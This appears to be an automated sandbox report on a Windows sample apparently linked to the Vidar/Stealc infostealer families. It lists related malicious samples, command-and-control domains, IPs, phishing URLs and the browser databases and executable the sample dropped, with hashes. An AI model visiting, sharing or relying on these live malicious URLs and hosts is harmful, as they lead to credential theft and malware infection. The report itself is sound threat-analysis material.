Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: f1r6P3j3g7.exe

Simulations

Behavior and APIs

Time	Type	Description
12:43:12	API Interceptor	3x Sleep call for process: WerFault.exe modified
12:43:25	API Interceptor	6x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?9rm4ULV=iDjdFcjw5QZJ8NeJJL4ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+m2NwmP2xDXw&D4hl2=fT-dvVK08nUDKdF
	74qgPmarBM.exe	Get hash	malicious	Pony	Browse	kuechenundmehr.com/x.htm
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	revexhibition.pages.dev/favicon.ico
	http://meta.case-page-appeal.eu/community-standard/112225492204863/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	www.tkmall-wholesale.com/
	c1#U09a6.exe	Get hash	malicious	Unknown	Browse	winfileshare.com/ticket_line/llb.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
95.164.90.97	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	z71htmivzKAUpOkr2J.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.45
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Payment.vbs	Get hash	malicious	FormBook	Browse	13.107.246.45
	original.eml	Get hash	malicious	Tycoon2FA	Browse	13.107.246.45
	5fe2eenspI.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.45
cowod.hopto.org	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	down.exe	Get hash	malicious	Unknown	Browse	45.132.206.251
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
nsdm.cumpar-auto-orice-tip.ro	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
nsdm.cumpar-auto-orice-tip.ro	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
bg.microsoft.map.fastly.net	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.210.172
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	file.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.210.172
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://protect2.fireeye.com/v1/url?k=31323334-50bba2bf-3132a9b3-4544474f5631-9e1721db7158d01a&q=1&e=fd99754d-b74a-4ce2-bf27-63a41e808f94&u=https%3A%2F%2Fwww.rhris.com%2FEmailEmploymentValidation.cfm%3FEmploymentRefID%3DE84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://eu.pbe.encryption.symantec.com/login.html?msgUserId=682e23d9f715c97c&enterprise=lgas&locale=en_US	Get hash	malicious	Unknown	Browse	199.232.210.172
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
wickedneatr.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
wickedneatr.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win64.TrojanX-gen.22573.8055.exe	Get hash	malicious	Unknown	Browse	172.67.145.190
	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	172.67.212.190
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	104.21.90.101
VAKPoltavaUkraineUA	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	bind.aspx.exe	Get hash	malicious	Vidar	Browse	95.164.119.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGIJDGCAEBFI\AFIDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\BGIJDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\BGIJDG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\DAKEBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\EBFBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\ECGIII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\EHCGIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\GIIEGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\HJEHIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\HJEHIJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFI\JKECFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KEGIDHJKKJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723529670914476
Encrypted:	false
SSDEEP:	12288:ofmHj9OPDULypmp0/dPAOQxjiVQZ9n4CZpywJl9VOLO4S:oq9O9gCZTaiiZ9tXVOL
MD5:	8E704ACD1B0C26FDCFD0374D57FCB28E
SHA1:	157B61A24087521693C8ACA743D60E4C33CB803D
